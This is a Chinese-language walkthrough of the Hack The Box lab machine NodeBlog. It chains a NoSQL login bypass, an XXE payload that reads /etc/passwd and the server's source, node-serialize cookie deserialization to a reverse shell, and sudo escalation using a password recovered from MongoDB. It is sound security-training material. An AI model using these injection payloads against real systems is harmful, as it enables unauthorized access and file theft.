HTB_NodeBlog

目录

一 渗透过程

(一) 信息收集

1 端口服务

2 框架组件

3 目录

(二) 漏洞发现

1 express框架登录绕过

2 XXE漏洞

3 node.js反序列化

(三) 提权

1 mongo获取用户口令

2 sudo提权

二 知识点总结

(一) Express框架登录绕过

(二) XXE漏洞

(三) Node.js反序列漏洞

(四) sudo提权

前言

Express是一个基于Node平台的web应用开发框架,它提供了一系列的强大特性,帮助你创建各种Web应用,我们可以使用npm install express 命令进行下载。

Express也是node框架的第三方模块,它的作用是专门用来创建网站应用,因为使用原生js创建网站应用代码比较复杂比较底层,比如实现路由功能需要对请求地址进行解析还有进行各种判断,代码过于繁琐不利于阅读。

实现静态资源访问功能还需要使用文件读取模块对文件的内容进行读取,还需要设置响应内容的类型,但这实际上跟网站本身业务逻辑没有什么关系还有接受post请求参数的代码,需要对请求对象添加事件手动拼接请求参数对请求参数的格式进行转化都是比较复杂并且跟业务逻辑没有什么关系。基于原生nodejs实现网站应用比较困难,express框架就诞生了。

node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非常好。Node.js进行了一些优化并提供替代API,这使得Google V8引擎能够在非浏览器环境下更有效的运行。

一 渗透过程

(一)信息收集

1 端口服务

#nmap -sCV 10.10.11.139

 发现开放22/5000端口(框架express,环境node.js)

2 框架组件

#wappalyer识别目标服务器相关组件框架

 站点使用了express框架,运行环境使用了node.js

3 目录

#dirb http://10.10.11.139:5000/

 目录扫描发现/login目录

(二)漏洞发现

登录界面测试发现存在枚举漏洞,存在admin账户,密码爆破无果。

1 express框架登录绕过

目标站点使用express框架,考虑使用nosql注入

(1)修改Content-Type: application/json

(2)修改json数据:{"user": "admin", "password": {"$ne": "wrongpassword"}}

 成功登录

2 XXE漏洞

登录成功之后发现文件上传点,随便上传一个文件测试

 只能上传xml文件,给了模板,测试XXE注入

构造payload

<?xml version="1.0"?>

<!DOCTYPE data [

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<post>

    <title>q</title>

    <description>123</description>

    <markdown>&file;</markdown>

</post>

 成功注入读取文件。但是后续没什么好利用的。

3 node.js反序列化

3.1 测试上传一个空包,获取js目录

 发现一些js目录,获取到了nodejs的路径,使用XXE尝试读取nodejs的配置文件/opt/blog/server.js

3.2 XXE注入读取nodejs的配置文件/opt/blog/server.js

成功拿到,可以发现使用了node-serialize,在cookie位置。

3.3 反序列化getshell

在cookie处注入Poc_payload

 

 

 成功反弹shell:

(1)切换到home目录下,不能切换到admin目录。

(2)查看目录权限,不存在可执行。

(3)但是归属admin用户,那就添加执行权限,拿到user.txt。

获取 User.flag

(三)提权

1 mongo获取用户口令

发现主机运行mongo数据库

 #mongo :连接mongo

#show dbs :显示库

#use blog :选择blog库

#dbs.users.find() :表字段内容

 拿到用户admin的账号信息

{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }

2 sudo提权

#sudo -l

  直接中,使用sudo su/sudo bash 直接提权,在/root下面拿到flag。

ps:这里注意一下,之前sudo -l需要输入口令,但是没有输入,后面sudo时一直报错sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper,解决方式加一个-S参数:sudo -S -l

二 知识点总结

(一)Express框架登录绕过

1 修改Content-Type: application/json

2 修改json数据:{"user": "admin", "password": {"$ne": "wrongpassword"}}

(二)XXE漏洞

文件上传点存在xml文件上传,存在XXE漏洞,可读取相关敏感文件,包括Node.js配置文件

(三)Node.js反序列漏洞

漏洞原理

查看node的配置文件(XXE),确定在cookie处使用了反序列化cookie值,可构造恶意载荷的cookie进行攻击。

(四)sudo提权

1 获取普通用户口令(mongo)

2 sudo -l查看当前用户sudo权限

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值